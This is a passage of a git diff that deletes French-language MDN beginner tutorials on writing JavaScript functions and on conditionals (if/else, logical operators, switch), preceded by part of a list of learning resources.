Une grande série de vidéos expliquant les principes fondamentaux du web, destinée aux débutants absolus en matière de développement web. Créé par Jérémie Patonnier.
-
Codecademy
-
Un site interactif pour apprendre les langages de programmation à partir du début.
-
BitDegree
-
Théorie de base du codage avec un processus d'apprentissage ludique. Principalement destiné aux débutants.
-
Code.org
-
Théories de codage de base et pratique, destiné essentiellement aux enfants et aux débutants.
-
EXLskills
-
Cours gratuits et ouverts pour l'acquisition de compétences techniques, avec mentorat et apprentissage par projet.
-
freeCodeCamp.org
-
Site interactif avec didacticiels et projets pour apprendre le développement web.
-
- -
-
Web literacy map
-
Un framework pour l'initiation à la maîtrise du web et aux compétences du XXIe siècle, qui donne également accès à des activités d'enseignement classées par catégorie.
-
Edabit
-
Des milliers de défis JavaScript interactifs.
-
diff --git a/files/fr/apprendre/index/index.html b/files/fr/apprendre/index/index.html deleted file mode 100644 index fac23a4c5b..0000000000 --- a/files/fr/apprendre/index/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Index -slug: Apprendre/Index -tags: - - Index - - Learn - - MDN - - Meta -translation_of: Learn/Index ---- -

{{Index("/fr/docs/Apprendre")}}

diff --git a/files/fr/apprendre/javascript/building_blocks/build_your_own_function/index.html b/files/fr/apprendre/javascript/building_blocks/build_your_own_function/index.html deleted file mode 100644 index 6f53bebcd7..0000000000 --- a/files/fr/apprendre/javascript/building_blocks/build_your_own_function/index.html +++ /dev/null @@ -1,241 +0,0 @@ ---- -title: Construire vos propres fonctions -slug: Apprendre/JavaScript/Building_blocks/Build_your_own_function -tags: - - Apprentissage - - Article - - Débutant - - Fonctions - - Guide - - I10n - - JavaScript - - Paramètres - - Scripting - - Tutoriel -translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}
- -

Dans l'article précédent, nous avons traité essentiellement de la théorie. Le présent article fournira une expérience pratique. Ici vous allez mettre en pratique ces connaissances en construisant vos propres fonctions. Tout au long, nous expliquerons également quelques détails supplémentaires concernant les fonctions.

- - - - - - - - - - - - -
Prérequis :Savoir-faire de base, une compréhension minimale HTML et CSS, premiers pas en JavaScript, Fonctions — blocs de code réutilisables.
Objectif :Fournir quelques pratiques de création de fonctions, et expliquer un peu plus les détails associés.
- -

Apprentissage actif : Construisons une fonction

- -

La fonction que nous allons construire sera nommée displayMessage(). Elle affichera une boîte de message personnalisée sur une page web. Elle fonctionnera comme un substitut personnalisé de la fonction alert() du navigateur. Vous avez déjà vu cela avant, mais nous allons simplement nous rafraîchir la mémoire — essayez le code qui suit dans la console JavaScript de votre navigateur, sur n'importe quelle page que vous aimez :

- -
alert('This is a message');
- -

La fonction prend un seul argument en paramètre — la chaîne de caractères qui est affichée dans la boîte d'alerte. Vous pouvez essayer de varier la syntaxe de la chaîne pour modifier le message.

- -

La fonction alert() est assez limitée : vous pouvez modifier le message, mais vous ne pouvez pas facilement faire varier autre chose, comme la couleur, une icône, ou autre chose. Nous en construirons une qui s'avérera plus amusante.

- -
-

Note : Cet exemple devrait fonctionner correctement dans tous les navigateurs modernes, mais elle pourrait avoir un comportement un peu plus inattendu dans un navigateur ancien. Nous recommandons donc de faire cet exercice dans un navigateur moderne tel que Firefox, Opera, ou Chrome.

-
- -

La fonction de base

- -

Pour commencer, mettons en place une fonction de base.

- -
-

Note : Pour les conventions de nommage des fonctions, vous devez suivre les mêmes règles que les conventions de noms de variables. Ce qui est bien, c'est que vous pouvez les différencier — les noms de fonctions se terminent par des parenthèses, pas les variables.

-
- -
    -
  1. Commencez par faire une copie locale du fichier function-start.html. Vous pourrez voir que le code HTML est simple — l'élément body ne contient qu'un seul bouton. Nous avons également ajouté quelques règles CSS de base pour styliser la boîte de message personnalisée, et un élément {{htmlelement("script")}} pour écrire notre code JavaScript.
    2. -
  2. Ensuite, ajoutez le code ci-dessous à l'intérieur de l'élément <script> : - 
    function displayMessage() {
-
-}
    - Nous commençons avec le mot-clé function, qui signifie que nous définissons une fonction. Celui-ci est suivi par le nom que nous voulons donner à notre fonction, des parenthèses et des accolades. Tous les paramètres que nous voulons donner à notre fonction vont à l'intérieur des parenthèses, et le code qui s'exécute lorsque nous appelons la fonction va à l'intérieur des accolades.
    3. -
  3. Enfin, ajoutez le code suivant à l'intérieur des accolades : - 
    var html = document.querySelector('html');
-
-var panel = document.createElement('div');
-panel.setAttribute('class', 'msgBox');
-html.appendChild(panel);
-
-var msg = document.createElement('p');
-msg.textContent = 'This is a message box';
-panel.appendChild(msg);
-
-var closeBtn = document.createElement('button');
-closeBtn.textContent = 'x';
-panel.appendChild(closeBtn);
-
-closeBtn.onclick = function() {
-  panel.parentNode.removeChild(panel);
-}
    -
    4. -
- -

Étant donné qu'il y a pas mal de code à analyser, allons-y pas à pas.

- -

La première ligne utilise une fonction de l'API DOM appelée {{domxref("document.querySelector()")}} pour sélectionner l'élément {{htmlelement("html")}} et stocker une référence vers cet élément dans une variable appelée html, de façon à pouvoir l'utiliser plus tard :

- -
var html = document.querySelector('html');
- -

La section suivante utilise une autre fonction de l'API DOM appelée {{domxref("Document.createElement()")}} pour créer un élément {{htmlelement("div")}} et stocker une référence vers lui dans une variable appelée panel (Dans la suite de l'article, nous parlerons simplement du panneau <div>.). Cet élément sera le conteneur extérieur de notre boîte de message.

- -

Puis, nous utilisons encore une autre fonction de l'API DOM appelée {{domxref("Element.setAttribute()")}} pour ajouter un attribut class à notre panneau qui aura pour valeur msgBox. Ceci rendra plus facile la mise en forme de l'élément — si vous regardez le CSS de la page, vous verrez que nous utilisons un sélecteur de classe .msgBox dans le but de styliser la boîte de message ainsi que son contenu.

- -

Finallement, nous appelons une fonction du DOM nommée {{domxref("Node.appendChild()")}} sur la variable html créée précédemment, qui insère un élément, en tant qu'enfant, à l'intérieur d'un autre. Nous spécifions le panneau <div> (panel) comme l'enfant que nous voulons ajouter à l'intérieur de l'élément <html>. Nous avons besoin de le faire puisque l'élément que nous avons créé ne peut pas apparaître de lui-même sur la page — nous avons besoin de préciser où le mettre.

- -
var panel = document.createElement('div');
-panel.setAttribute('class', 'msgBox');
-html.appendChild(panel);
- -

Les deux sections suivantes font usage des mêmes fonctions createElement() et appendChild() que nous avons déjà vu pour créer deux nouveaux éléments — l'un {{htmlelement("p")}} et l'autre {{htmlelement("button")}} —  et pour les insèrer dans la page en tant qu'enfant du panneau <div>. On utilise leur propriété {{domxref("Node.textContent")}} — qui représente le contenu textuel d'un élément — pour insérer un message à l'intérieur du paragraphe, ainsi qu'un 'x' à l'intérieur du bouton. Ce bouton sera cliqué / activé quand l'utilisateur voudra fermer la boîte de message.

- -
var msg = document.createElement('p');
-msg.textContent = 'This is a message box';
-panel.appendChild(msg);
-
-var closeBtn = document.createElement('button');
-closeBtn.textContent = 'x';
-panel.appendChild(closeBtn);
- -

Finalement, nous utilisons un gestionnaire d'évènements {{domxref("GlobalEventHandlers.onclick")}} de sorte qu'un clic sur le bouton déclenche le bout de code chargé de supprimer la totalité du panneau de la page — c'est-à-dire fermer la boîte de message.

- -

Le gestionnaire onclick est une propriété disponible sur le bouton (en fait, sur n'importe quel élément de la page) qui pourra se voir transmettre une fonction en paramètre pour spécifier quel morceau de code sera déclenché quand le bouton sera cliqué. Vous en apprendrez bien plus dans notre article sur les évènements. Nous avons passé à notre gestionnaire  onclick une fonction anonyme, qui contient le code exécuté quand le bouton est cliqué. L'instruction définie dans la fonction utilise la fonction de l'API DOM {{domxref("Node.removeChild()")}} pour indiquer que nous tenons à supprimer un élément enfant spécifique de l'élément HTML — dans notre cas le panneau <div>.

- -
closeBtn.onclick = function() {
-  panel.parentNode.removeChild(panel);
-}
- -

Au final, l'intégralité du bloc de code génère un bloc de code HTML et l'insère dans la page, ce qui ressemble à ça :

- -
<div class="msgBox">
-  <p>This is a message box</p>
-  <button>x</button>
-</div>
- -

Ça nous a fait beaucoup de code à passer en revue — ne vous inquiétez pas trop si vous ne vous souvenez pas exactement de comment chaque instruction fonctionne ! Bien que la partie principale sur laquelle nous voulions mettre l'accent ici est la structure de la fonction et son utilisation, nous avons voulu montrer quelque chose d'intéressant pour mettre en valeur cet exemple.

- -

Appeler la fonction

- -

À présent, nous avons notre fonction définie comme il faut dans notre balise <script>, mais il ne se passera rien si on laisse les choses en l'état.

- -
    -
  1. Ajoutez la ligne suivante au-dessous de votre fonction pour l'appeler : - 
    displayMessage();
    - Cette ligne appelle la fonction en la faisant fonctionner immédiatement. Lorsque vous enregistrez votre code et rechargez la page dans le navigateur, vous voyez la petite boîte de message apparaître immédiatement, une seule fois. Après tout, nous ne l'appelons bien qu'une fois.
    2. -
  2. -

    Maintenant, ouvrez vos outils de développement sur la page d'exemple, allez à la console JavaScript et tapez-y la ligne à nouveau, vous verrez qu'elle apparaît encore une fois ! C'est génial, nous avons maintenant une fonction réutilisable que nous pouvons appeler chaque fois que nous le voulons.

    - -

    Cela dit, nous voulons probablement qu'elle apparaisse en réponse aux actions de l'utilisateur ou du système. Dans une application réelle, une telle boîte de message serait probablement appelée en réponse à de nouvelles données disponibles, si une erreur s'est produite, si l'utilisateur essaie de supprimer son profil ("Êtes vous sûr de vouloir réaliser cette action ?"), ou encore si l'utilisateur ajoute un nouveau contact et que l'opération se termine avec succès, etc.

    - -

    Dans cette démo, nous faisons apparaître le message quand l'utilisateur clique sur le bouton.

    -
    3. -
  3. Supprimez la ligne précédente que vous avez ajoutée.
    4. -
  4. Ensuite, vous sélectionnerez le bouton et stockerez une référence vers celui-ci dans une variable. Ajoutez la ligne suivante à votre code, au-dessus de la définition de fonction : - 
    var btn = document.querySelector('button');
    -
    5. -
  5. Enfin, ajoutez la ligne suivante à la précédente : - 
    btn.onclick = displayMessage;
    - D'une manière similaire à notre ligne closeBtn.onclick... à l'intérieur de la fonction, ici, nous appelons un certain code en réponse à un clic sur un bouton. Mais dans ce cas, au lieu d'appeler une fonction anonyme contenant du code, nous appelons directement notre nom de fonction.
    6. -
  6. Essayez d'enregistrer et de rafraîchir la page, maintenant vous devriez voir la boîte de message s'afficher lorsque vous cliquez sur le bouton.
    7. -
- -

Vous vous demandez peut-être pourquoi nous n'avons pas inclus les parenthèses après le nom de la fonction. C'est parce que nous ne voulons pas appeler la fonction immédiatement, seulement après que le bouton aura été cliqué. Si vous modifiez la ligne pour :

- -
btn.onclick = displayMessage();
- -

Enregistrez et rafraîchissez la page, vous verrez que la boîte de message apparaît sans que le bouton ait été cliqué ! Dans ce contexte, les parenthèses sont parfois appelées "opérateur d'appel / invocation de fonction". Vous ne les utilisez que lorsque vous souhaitez exécuter la fonction immédiatement dans la portée actuelle. Dans le même ordre d'idée, le code à l'intérieur de la fonction anonyme n'est pas exécuté immédiatement, car il se trouve à l'intérieur de la portée de la fonction.

- -

Si vous avez essayé la dernière expérimentation, assurez-vous d'annuler la dernière modification avant de poursuivre.

- -

Améliorer la fonction à l'aide de paramètres

- -

En l'état, la fonction n'est pas très utile — on ne veut pas montrer le même message par défaut à chaque fois. Améliorons la en ajoutant quelques paramètres, ils permettront d'appeler la fonction avec différentes options.

- -
    -
  1. Premièrement, mettons à jour la première ligne : - 
    function displayMessage() {
    - par : - - 
    function displayMessage(msgText, msgType) {
    - Maintenant, quand nous appelons la fonction, nous pouvons fournir deux valeurs de variables entre les parenthèses : une pour spécifier le message à afficher dans la boîte, l'autre pour le type de message.
    2. -
  2. Pour faire usage du premier paramètre, mettez à jour la ligne suivante à l'intérieur de votre fonction : - 
    msg.textContent = 'This is a message box';
    - avec : - - 
    msg.textContent = msgText;
    -
    3. -
  3. Vous devez maintenant mettre à jour votre appel de fonction pour inclure un texte de message mis à jour. Modifiez la ligne suivante : - 
    btn.onclick = displayMessage;
    - par ce bloc : - - 
    btn.onclick = function() {
-  displayMessage('Woo, this is a different message!');
-};
    - Si nous voulons spécifier des paramètres à l'intérieur des parenthèses pour la fonction que nous appelons, alors nous ne pouvons pas l'appeler directement — nous avons besoin de la mettre à l'intérieur d'une fonction anonyme de sorte qu'elle n'est pas dans la portée immédiate et n'est donc pas appelée immédiatement. Maintenant, elle ne sera pas appelée tant que le bouton ne sera pas cliqué.
    4. -
  4. Rechargez et essayez le code à nouveau et vous verrez qu'il fonctionne toujours très bien, sauf que maintenant vous pouvez également modifier le message à l'intérieur du paramètre pour obtenir des messages différents affichés dans la boîte !
    5. -
- -

Un paramètre plus complexe

- -

Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — selon la valeur du paramètre msgType, la fonction affichera une icône et une couleur d'arrière-plan différentes.

- -
    -
  1. Tout d'abord, téléchargez les icônes nécessaires à cet exercice (warning et chat) depuis GitHub. Enregistrez-les dans un nouveau dossier appelé icons dans le même répertoire que votre fichier HTML. - -
    Note : icônes warning et chat trouvés sur iconfinder.com, et créés par Nazarrudin Ansyari. Merci !
    -
    2. -
  2. Ensuite, trouvez le CSS à l'intérieur de votre fichier HTML. Nous ferons quelques changements pour faire place aux icônes. Tout d'abord, mettez à jour la largeur .msgBox en changeant : - 
    width: 200px;
    - par : - - 
    width: 242px;
    -
    3. -
  3. Ensuite, ajoutez les lignes à l'intérieur de la règle CSS .msgBox p { ... } : - 
    padding-left: 82px;
-background-position: 25px center;
-background-repeat: no-repeat;
    -
    4. -
  4. Maintenant, nous devons ajouter du code à notre fonction displayMessage() pour gérer l'affichage de l'icône. Ajoutez le bloc suivant juste au dessus de l'accolade fermante "}" de votre fonction : - 
    if (msgType === 'warning') {
-  msg.style.backgroundImage = 'url(icons/warning.png)';
-  panel.style.backgroundColor = 'red';
-} else if (msgType === 'chat') {
-  msg.style.backgroundImage = 'url(icons/chat.png)';
-  panel.style.backgroundColor = 'aqua';
-} else {
-  msg.style.paddingLeft = '20px';
-}
    - Ici, quand msgType a la valeur 'warning', l'icône d'avertissement est affichée et le fond du panneau prend la couleur rouge. Si msgType a la valeur 'chat', l'icône de chat est affichée et l'arrière-plan du panneau est bleu. Si le paramètre msgType n'a pas de valeur du tout (ou s'il a une valeur totalement différente), alors la partie du code contenue dans else { ... } est exécutée : le paragraphe prend un padding par défaut et il n'y a ni icône ni couleur d'arrière-plan. En fait, on fournit un état par défaut si aucun paramètre msgType n'est fourni, ce qui signifie qu'il s'agit d'un paramètre facultatif !
    5. -
  5. Nous allons tester notre fonction mise à jour, essayez de mettre à jour l'appel displayMessage() : - 
    displayMessage('Woo, this is a different message!');
    - par soit l'un ou l'autre : - - 
    displayMessage('Your inbox is almost full — delete some mails', 'warning');
-displayMessage('Brian: Hi there, how are you today?','chat');
    - Vous pouvez voir à quel point notre petite (plus tant que cela maintenant) fonction est devenue utile :
    6. -
- -
-

Note : Si vous avez des difficultés à mettre en œuvre cet exemple, n'hésitez pas à verifier votre code par rapport à la version définitive sur GitHub (aussi, vous pouvez tester la démo), ou nous demander de l'aide.

-
- -

Conclusion

- -

Vous êtes venu à bout de cette activité, félicitations ! Cet article vous a amené à travers tout le processus de construction d'une fonction pratique personnalisée, qui avec un peu plus de travail pourrait être transposée dans un projet réel. Dans l'article suivant, nous allons conclure l'apprentissage des fonctions en expliquant un autre concept connexe essentiel — les valeurs de retour.

- - - -

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}

diff --git a/files/fr/apprendre/javascript/building_blocks/conditionals/index.html b/files/fr/apprendre/javascript/building_blocks/conditionals/index.html deleted file mode 100644 index b7fa0fa08c..0000000000 --- a/files/fr/apprendre/javascript/building_blocks/conditionals/index.html +++ /dev/null @@ -1,630 +0,0 @@ ---- -title: Prendre des décisions dans le code — conditions -slug: Apprendre/JavaScript/Building_blocks/conditionals -tags: - - Article - - CodingScripting - - Conditionnel - - Débutant - - JavaScript - - Switch - - conditions - - else - - if - - ternaire -translation_of: Learn/JavaScript/Building_blocks/conditionals ---- -

{{LearnSidebar}}

- -

{{NextMenu("Apprendre/JavaScript/Building_blocks/Looping_code", "Apprendre/JavaScript/Building_blocks")}}

- -

Dans tout langage de programmation, le code doit prendre des décisions et agir en fonction des différents paramètres. Par exemple dans un jeu, si le nombre de vies du joueur atteint 0, alors le jeu est terminé. Dans une application météo, si elle est consultée le matin, l'application montrera une image du lever de soleil ; l'application proposera des étoiles et la lune s'il fait nuit. Dans cet article nous allons découvrir comment ces instructions conditionnelles fonctionnent en JavaScript.

- - - - - - - - - - - - -
Prérequis :Connaissances du vocabulaire informatique, compréhension des bases du HTML et des CSS, Premiers pas en JavaScript.
Objectif :Comprendre comment utiliser les structures conditionnelles en JavaScript.
- -

Vous l'aurez à une condition !..

- -

Les êtres humains (et d'autres animaux) prennent tout le temps des décisions qui affectent leur vie, de la plus insignifiante (« Est‑ce que je devrais prendre un biscuit ou deux ? ») à la plus importante (« Est‑ce que je dois rester dans mon pays natal et travailler à la ferme de mon père, ou déménager aux États-Unis et étudier l'astrophysique ? »)

- -

Les instructions conditionnelles nous permettent de représenter ce genre de prise de décision en JavaScript, du choix qui doit être fait (par ex. « un biscuit ou deux »), à la conséquence de ces choix (il se peut que la conséquence de « manger un biscuit » soit « avoir encore faim », et celle de « manger deux biscuits » soit « se sentir rassasié, mais se faire gronder par maman pour avoir mangé tous les biscuits ».)

- -

- -

Instruction if ... else

- -

Intéressons nous de plus près à la forme la plus répandue d'instruction conditionnelle que vous utiliserez en JavaScript — la modeste instruction if ... else.

- -

Syntaxe élémentaire if ... else

- -

La syntaxe élémentaire de if...else ressemble à cela en {{glossary("pseudocode")}}:

- -
if (condition) {
-  code à exécuter si la condition est true
-} else {
-  sinon exécuter cet autre code à la place
-}
- -

Ici nous avons:

- -
    -
  1. Le mot‑clé if suivie de parenthèses.
    2. -
  2. Une condition à évaluer, placée entre les parenthèses (typiquement « cette valeur est‑elle plus grande que cet autre valeur ? » ou « cette valeur existe‑t‑elle ? »). Cette condition se servira des opérateurs de comparaison que nous avons étudié dans le précédent module, et renverra true ou false.
    3. -
  3. Une paire d'accolades, à l'intérieur de laquelle se trouve du code — cela peut être n'importe quel code voulu ; il sera exécuté seulement si la condition renvoie true.
    4. -
  4. Le mot‑clé else.
    5. -
  5. Une autre paire d'accolades, à l'intérieur de laquelle se trouve du code différent — tout code souhaité et il sera exécuté seulement si la condition ne renvoie pas true.
    6. -
- -

Ce code est facile à lire pour une personne — il dit « si la condition renvoie true, exécuter le code A, sinon exécuter le code B ».

- -

Notez qu'il n'est pas nécessaire d'inclure une instruction else et le deuxième bloc entre accolades — le code suivant est aussi parfaitement correct :

- -
if (condition) {
-  code à exécuter si la condition est true
-}
-
-exécuter un autre code
- -

Cependant, vous devez faire attention ici — dans ce cas, le deuxième bloc de code n'est pas controlé par l'instruction conditionnelle, donc il sera toujours exécuté, que la condition ait renvoyé true ou false. Ce n'est pas nécessairement une mauvaise chose, mais il se peut que ce ne soit pas ce que vous vouliez — le plus souvent vous voudrez exécuter un bloc de code ou l'autre, et non les deux.

- -

Une dernière remarque, vous verrez quelques fois les instructions if...else écrites sans accolades, de manière abrégée, ainsi :

- -
if (condition) code à exécuter si la condition est true
-else exécute un autre code à la place
- -

Ce code est parfaitement valide, mais il n'est pas recommandé — il est nettement plus facile de lire le code et d'en déduire ce qui se passe si vous utilisez des accolades pour délimiter les blocs de code, des lignes séparées et des indentations.

- -

Un exemple concret

- -

Pour mieux comprendre cette syntaxe, prenons un exemple concret. Imaginez un enfant à qui le père ou la mère demande de l'aide pour une tâche. Le parent pourrait dire « Mon chéri, si tu m'aides en allant faire les courses, je te donnerai un peu plus d'argent de poche pour que tu puisses t'acheter ce jouet que tu voulais ». En JavaScript, on pourrait le représenter de cette manière :

- -
let coursesFaites = false;
-
-if (coursesFaites === true) {
-  let argentDePoche = 10;
-} else {
-  let argentDePoche = 5;
-}
- -

Avec un tel code, la variable coursesFaites renvoie toujours false, imaginez la déception de ce pauvre enfant. Il ne tient qu'à nous de fournir un mécanisme pour que le parent assigne true à la variable coursesFaites si l'enfant a fait les courses.

- -
-

Note : Vous pouvez voir une version plus complète de cet exemple sur GitHub (ainsi qu'en version live.)

-
- -

else if

- -

Il n'y a qu'une alternative dans l'exemple précédent — mais qu'en est‑il si l'on souhaite plus de choix ?

- -

Il existe un moyen d'enchaîner des choix / résultats supplémentaires à if...else — en utilisant else if entre. Chaque choix supplémentaire nécessite un bloc additionnel à placer entre if() { ... } et else { ... } — regardez l'exemple suivant plus élaboré, qui pourrait faire partie d'une simple application de prévisions météo:

- -
<label for="weather">Select the weather type today: </label>
-<select id="weather">
-  <option value="">--Make a choice--</option>
-  <option value="sunny">Sunny</option>
-  <option value="rainy">Rainy</option>
-  <option value="snowing">Snowing</option>
-  <option value="overcast">Overcast</option>
-</select>
-
-<p></p>
- -
const select = document.querySelector('select');
-const para = document.querySelector('p');
-
-select.addEventListener('change', setWeather);
-
-function setWeather() {
-  const choice = select.value;
-
-  if (choice === 'sunny') {
-    para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
-  } else if (choice === 'rainy') {
-    para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
-  } else if (choice === 'snowing') {
-    para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
-  } else if (choice === 'overcast') {
-    para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
-  } else {
-    para.textContent = '';
-  }
-}
- -

{{ EmbedLiveSample('else_if', '100%', 100) }}

- -
    -
  1. Ici nous avons l'élément HTML {{htmlelement("select")}} nous permettant de sélectionner divers choix de temps et un simple paragraphe.
    2. -
  2. Dans le JavaScript, nous conservons une référence aussi bien à l'élément {{htmlelement("select")}} qu'à l'élément {{htmlelement("p")}}, et ajoutons un écouteur d'évènement à l'élément <select> de sorte que la fonction setWeather() soit exécutée quand sa valeur change.
    3. -
  3. Quand cette fonction est exécutée, nous commençons par assigner à la variable choice la valeur actuellement sélectionnée dans l'élément <select>. Nous utilisons ensuite une instruction conditionnelle pour montrer différents textes dans le paragraphe en fonction de la valeur de choice. Remarquez comment toutes les conditions sont testées avec des blocs else if() {...}, mis à part le tout premier testé avec un  bloc if() {...}.
    4. -
  4. Le tout dernier choix, à l'intérieur du bloc else {...}, est simplement une option de "secours" — le code qui s'y trouve ne sera exécuté que si aucune des conditions n'est true. Dans ce cas, il faut vider le texte du paragraphe si rien n'est sélectionné, par exemple si un utilisateur décide de resélectionner le texte à substituer « --Choisir-- » présenté au début.
    5. -
- -
-

Note : Vous trouverez également cet exemple sur GitHub (ainsi qu'en version live ici.)

-
- -

Une note sur les opérateurs de comparaison

- -

Les opérateurs de comparaison sont utilisés pour tester les conditions dans nos instructions conditionnelles. Nous avons d'abord regardé les opérateurs de comparaison dans notre Mathématiques de base en JavaScript — nombres et opérateurs article. Nos choix sont :

- - - -
-

Note : Revoyez le contenu du lien précédent si vous voulez vous rafraîchir la mémoire.

-
- -

Nous souhaitons mentionner à propos des tests des valeurs booléennes (true/false) un modèle courant que vous rencontrerez souvent. Toute valeur autre que false, undefined, null, 0, NaN ou une chaîne vide  ('') renvoie true lorsqu'elle est testée dans une structure conditionnelle, vous pouvez donc simplement utiliser un nom de variable pour tester si elle est true, ou même si elle existe (c'est-à-dire si elle n'est pas undefined).
- Par exemple :

- -
const fromage = 'Comté';
-
-if (fromage) {
-  console.log('Ouaips ! Du fromage pour mettre sur un toast.');
-} else {
-  console.log('Pas de fromage sur le toast pour vous aujourd\'hui.');
-}
- -

Et, revenant à notre exemple précédent sur l'enfant rendant service à ses parents, vous pouvez l'écrire ainsi :

- -
let coursesFaites = false;
-
-if (coursesFaites) { // pas besoin d'écrire explicitement '=== true'
-  let argentDePoche = 10;
-} else {
-  let argentDePoche = 5;
-}
- -

 if ... else imbriqué

- -

Il est parfaitement correct d'ajouter une déclaration if...else à l'intérieur d'une autre — pour les imbriquer. Par exemple, nous pourrions mettre à jour notre application de prévisions météo pour montrer un autre ensemble de choix en fonction de la température :

- -
if (choice === 'sunny') {
-  if (temperature < 86) {
-    para.textContent = 'Il fait ' + temperature + ' degrés dehors — beau et ensoleillé. Allez à la plage ou au parc et achetez une crème glacée.';
-  } else if (temperature >= 86) {
-    para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! si vous voulez sortir, n\'oubliez pas de mettre de la crème solaire.';
-  }
-}
- -

Même si tout le code fonctionne ensemble, chaque déclaration if...else fonctionne indépendamment de l'autre.

- -

Opérateurs logiques AND, OR et NOT

- -

Si vous voulez tester plusieurs conditions sans imbriquer des instructions if...else , les opérateurs logiques pourront vous rendre service. Quand ils sont utilisés dans des conditions, les deux premiers sont représentés comme ci dessous :

- - - -

Pour vous donner un exemple de AND, le morceau de code précedent peut être réécrit ainsi :

- -
if (choice === 'sunny' && temperature < 86) {
-  para.textContent = 'Il fait ' + temperature + ' degrés dehors — beau temps ensoleillé. Allez à la plage ou au parc et achetez une crème glacée.';
-} else if (choice === 'sunny' && temperature >= 86) {
-  para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! Si vous voulez sortir, assurez‑vous d'avoir passé une crème solaire.';
-}
- -

Ainsi, par exemple, le premier bloc de code ne sera exécuté que si choice === 'sunny' ET temperature < 86 renvoient tous deux true.

- -

Voyons un petit exemple avec OR :

- -
if (camionDeGlaces || etatDeLaMaison === 'on fire') {
-  console.log('Vous devriez sortir de la maison rapidement.');
-} else {
-  console.log('Vous pouvez probablement rester dedans.');
-}
- -

Le dernier type d'opérateur logique, NOT, exprimé par l'opérateur !,  peut s'utiliser pour nier une expression. Combinons‑le avec OR dans cet exemple :

- -
if (!(camionDeGlaces || etatDeLaMaison === 'on fire')) {
-  console.log('Vous pouvez probablement rester dedans.');
-} else {
-  console.log('Vous devriez sortir de la maison rapidement.');
-}
- -

Dans cet extrait, si la déclaration avec OR renvoie true, l'opérateur NOT va nier l'ensemble : l'expression retournera donc false.

- -

Vous pouvez combiner autant d'instructions logiques que vous le souhaitez, quelle que soit la structure. L'exemple suivant n'exécute le code entre accolades que si les deux instructions OR renvoient true, l'instruction AND recouvrante renvoie alors true :

- -
if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) {
-  // exécuter le code
-}
- -

Une erreur fréquente avec l'opérateur OR dans des instructions conditionnelles est de n'indiquer la variable dont vous testez la valeur qu'une fois, puis de donner une liste de valeurs sensées renvoyer true séparées par des || (OR) opérateurs. Par exemple :

- -
if (x === 5 || 7 || 10 || 20) {
-  // exécuter le code
-}
- -

Dans ce cas, la condition dans le if(...) sera toujours évaluée à vrai puisque 7 (ou toute autre valeur non nulle) est toujours true. Cette condition dit en réalité « si x est égal à 5, ou bien 7 est vrai » — ce qui est toujours le cas. Ce n'est pas ce que nous voulons logiquement ! Pour que cela fonctionne, vous devez définir un test complet entre chaque opérateur OR :

- -
if (x === 5 || x === 7 || x === 10 ||x === 20) {
-  // exécuter le code
-}
- -

Instruction switch

- -

Les Instructions if...else  font bien le travail d'aiguiller la programmation selon des conditions, mais elles ne sont pas sans inconvénient. Elles sont principalement adaptées aux cas où vous avez un choix binaire, chacun nécessitant une quantité raisonnable de code à exécuter, et/ou au cas où les conditions sont complexes (par ex. plusieurs opérateurs logiques). Si vous voulez juste fixer la valeur d'une variable à un choix donné ou afficher une déclaration particulière en fonction d'une condition, cette syntaxe peut devenir un peu lourde, surtout si le nombre de choix est important.

- -

Les instructions switch sont vos amies — elles prennent une seule valeur ou expression en entrée, puis examinent une palette de choix jusqu'à trouver celui qui correspond, et exécutent le code qui va avec. Voici un peu de pseudo-code, pour vous donner l'idée :

- -
switch (expression) {
-  case choix1:
-    exécuter ce code
-    break;
-
-  case choix2:
-    exécuter ce code à la place
-    break;
-
-  // incorporez autant de case que vous le souhaitez
-
-  default:
-    sinon, exécutez juste ce code
-}
- -

Ici nous avons

- -
    -
  1. Le mot‑clé switch suivi de parenthèses.
    2. -
  2. Une expression ou une valeur mise entre les parenthèses.
    3. -
  3. Le mot‑clé case suivi d'une expression ou d'une valeur, et de deux‑points.
    4. -
  4. Le code exécuté si l'expression/valeur de case correspond à celles de switch.
    5. -
  5. Une déclaration break, suivie d'un point‑virgule. Si le choix précédent correspond à l'expression/valeur, le navigateur va stopper l'exécution du bloc de code ici et continuer après l'instruction switch.
    6. -
  6. Vous pouvez rajouter autant de cas que vous le souhaitez. (points 3–5)
    7. -
  7. Le mot‑clé default,  suivi d'une même structure de code qu'aux points 3-5, sauf que default n'a pas de choix après lui et n'a donc pas besoin de l'instruction break  puisqu'il n'y a plus rien à exécuter après ce bloc. C'est l'option default qui sera exécutée si aucun choix ne correspond.
    8. -
- -
-

Note : Vous n'avez pas à inclure la section  default — elle peut être omise en toute sécurité s'il n'y a aucune chance que l'expression finisse par égaler une valeur inconnue. À contrario, vous devez l'inclure s'il est possible qu'il y ait des cas inconnus.

-
- -

Un exemple de switch

- -

Voyons un exemple concret — nous allons réécrire notre application de prévision météo en utilisant une instruction switch à la place :

- -
<label for="weather">Select the weather type today: </label>
-<select id="weather">
-  <option value="">--Make a choice--</option>
-  <option value="sunny">Sunny</option>
-  <option value="rainy">Rainy</option>
-  <option value="snowing">Snowing</option>
-  <option value="overcast">Overcast</option>
-</select>
-
-<p></p>
- -
const select = document.querySelector('select');
-const para = document.querySelector('p');
-
-select.addEventListener('change', setWeather);
-
-
-function setWeather() {
-  let choice = select.value;
-
-  switch (choice) {
-    case 'sunny':
-      para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
-      break;
-    case 'rainy':
